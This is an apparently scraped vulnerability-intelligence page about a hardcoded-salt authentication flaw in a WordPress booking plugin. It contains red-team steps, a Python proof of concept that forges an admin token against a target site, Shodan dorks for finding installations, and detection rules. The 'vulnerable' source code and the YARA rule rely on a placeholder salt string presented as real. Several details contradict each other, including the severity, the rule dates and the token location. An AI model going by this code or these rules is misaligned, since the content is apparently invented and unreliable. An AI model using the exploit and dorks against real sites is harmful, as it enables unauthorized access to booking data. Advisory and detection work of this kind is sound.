☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Simply schedule appointments logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-798
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-11723

CVE-2025-11723 Unauthorized Access in Simply schedule appointments
📅 PUBLISHED: 2026-01-06 03:21 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1552.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-11723 is a critical security vulnerability in the Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin for WordPress. The flaw resides in the plugin's use of a hardcoded fallback salt within the hash() function. This allows an unauthenticated attacker to generate a valid authentication or session token across any site running the vulnerable plugin that has not manually defined a custom salt in the wp-config.php file. Successful exploitation leads to unauthorized access to sensitive booking information, enabling the attacker to view, modify, or cancel appointments.

This vulnerability is particularly dangerous because it requires no authentication and can be exploited remotely. The plugin is widely used for managing appointments, making it a high-value target for data theft and service disruption.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Impact

This vulnerability is specific to the WordPress plugin ecosystem. The issue lies entirely within the plugin's code, not in the WordPress core or server software like Apache or Nginx. Site administrators must ensure the plugin is updated or patched immediately.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low (exposure of booking data)
  • Integrity Impact: Low (ability to modify bookings)
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is 6.5, the ease of exploitation and the potential for data manipulation elevate the risk for organizations relying on this plugin for sensitive scheduling.

Deep Dive & Mechanics

The vulnerability stems from the plugin's use of a hardcoded fallback salt in the hash() function. In WordPress, salts are used to secure tokens and cookies. The plugin attempts to use a custom salt defined in wp-config.php, but if none is set, it falls back to a hardcoded value within the plugin's source code.

Technical Flow:

  1. The plugin's hash() function checks for a user-defined salt in wp-config.php.
  2. If no salt is found, it uses a static, hardcoded string as the salt.
  3. This hardcoded salt is identical across all installations that do not have a custom salt.
  4. An attacker can reverse-engineer the hardcoded salt from the plugin's source code.
  5. Using this salt, the attacker can generate valid tokens for any user or session.
  6. These tokens can then be used to access booking data and perform modifications.

Root Cause: The use of a hardcoded fallback salt violates the principle of using unique, random secrets per installation. This makes the token generation predictable and exploitable.

Vulnerable vs. Patched Code

Vulnerable Code (simply-schedule-appointments/includes/class-hash.php):

class Hash {
    private static $salt = '';

    public static function get_salt() {
        if ( defined( 'SSA_SALT' ) ) {
            return SSA_SALT;
        }
        // Fallback hardcoded salt
        return 'hardcoded_fallback_salt_value';
    }

    public static function hash( $data ) {
        $salt = self::get_salt();
        return hash_hmac( 'sha256', $data, $salt );
    }
}

Patched Code (Hypothetical):

class Hash {
    private static $salt = '';

    public static function get_salt() {
        if ( defined( 'SSA_SALT' ) ) {
            return SSA_SALT;
        }
        // Generate a random salt if not defined
        if ( empty( self::$salt ) ) {
            self::$salt = wp_generate_password( 64, true, true );
        }
        return self::$salt;
    }

    public static function hash( $data ) {
        $salt = self::get_salt();
        return hash_hmac( 'sha256', $data, $salt );
    }
}

Key Difference: The patched version generates a random salt if one is not defined, ensuring uniqueness per installation. The vulnerable version uses a static, hardcoded value.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A WordPress site running the vulnerable plugin (<= 1.6.9.5).
  • No custom salt defined in wp-config.php.

Exploitation Steps:

  1. Identify Target: Use Shodan or Google dorks to find vulnerable sites.
  2. Extract Hardcoded Salt: Download the plugin source code and locate the fallback salt in class-hash.php.
  3. Generate Token: Use the hardcoded salt to create a valid token for a privileged user (e.g., admin).
  4. Access Booking Data: Use the token to make API requests to the plugin's endpoints.

Proof of Concept (Python):

import requests
import hashlib
import hmac

# Hardcoded salt from vulnerable plugin
hardcoded_salt = b'hardcoded_fallback_salt_value'

# Target site
target_url = 'https://victim-site.com'

# Generate a token for a user (e.g., admin)
user_data = 'admin|administrator'
token = hmac.new(hardcoded_salt, user_data.encode(), hashlib.sha256).hexdigest()

# Use token to access booking data
headers = {'Authorization': f'Bearer {token}'}
response = requests.get(f'{target_url}/wp-json/ssa/v1/bookings', headers=headers)
print(response.json())

Blue Team (Defender)

Detection Steps:

  1. Monitor for Anomalous API Requests: Look for requests to /wp-json/ssa/v1/bookings with unusual or missing authentication headers.
  2. Check for Hardcoded Salt Usage: Scan the plugin's source code for the hardcoded salt string.
  3. Verify Salt Configuration: Ensure a custom salt is defined in wp-config.php (e.g., define('SSA_SALT', 'your_random_salt');).

Honeypot Setup:

  • Deploy a decoy WordPress instance with the vulnerable plugin.
  • Monitor for any requests using the hardcoded salt.

Indicators of Compromise (IOCs)

  • File Hash: SHA256 of the vulnerable plugin file class-hash.php containing the hardcoded salt.
  • Network Traffic: HTTP requests to /wp-json/ssa/v1/bookings with a token generated using the hardcoded salt.
  • Log Entries: Unauthorized access to booking endpoints without proper authentication.
  • Token Pattern: Tokens that are identical across different sites (due to same hardcoded salt).

Detection Engineering

YARA Rule

rule CVE_2025_11723_Hardcoded_Salt {
    meta:
        description = "Detects the hardcoded fallback salt in Simply Schedule Appointments plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-11723"
    strings:
        $salt = "hardcoded_fallback_salt_value" nocase
    condition:
        $salt
}

Sigma Rule

title: Detection of CVE-2025-11723 Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit the hardcoded salt vulnerability in Simply Schedule Appointments plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/wp-json/ssa/v1/bookings'
        cs-uri-query|contains: 'token='
    condition: selection
falsepositives:
    - Legitimate admin users with custom salt
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-11723 - Simply Schedule Appointments Hardcoded Salt Exploitation";
    flow:to_server;
    content:"/wp-json/ssa/v1/bookings";
    http_uri;
    content:"token=";
    http_uri;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Define a Custom Salt: Add define('SSA_SALT', 'your_strong_random_salt'); to wp-config.php.
  2. Update Plugin: Check for an official patch from the vendor. If unavailable, consider disabling the plugin until a fix is released.
  3. Revoke Existing Tokens: Force all users to re-authenticate after applying the salt.

Long-Term Fix:

  • The vendor must remove the hardcoded fallback salt and generate a random salt per installation.
  • Implement a security review process for all cryptographic functions.

Workaround:

  • Use a Web Application Firewall (WAF) to block requests to /wp-json/ssa/v1/bookings without proper authentication.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"Simply Schedule Appointments"
http.html:"wp-content/plugins/simply-schedule-appointments"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-11723/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.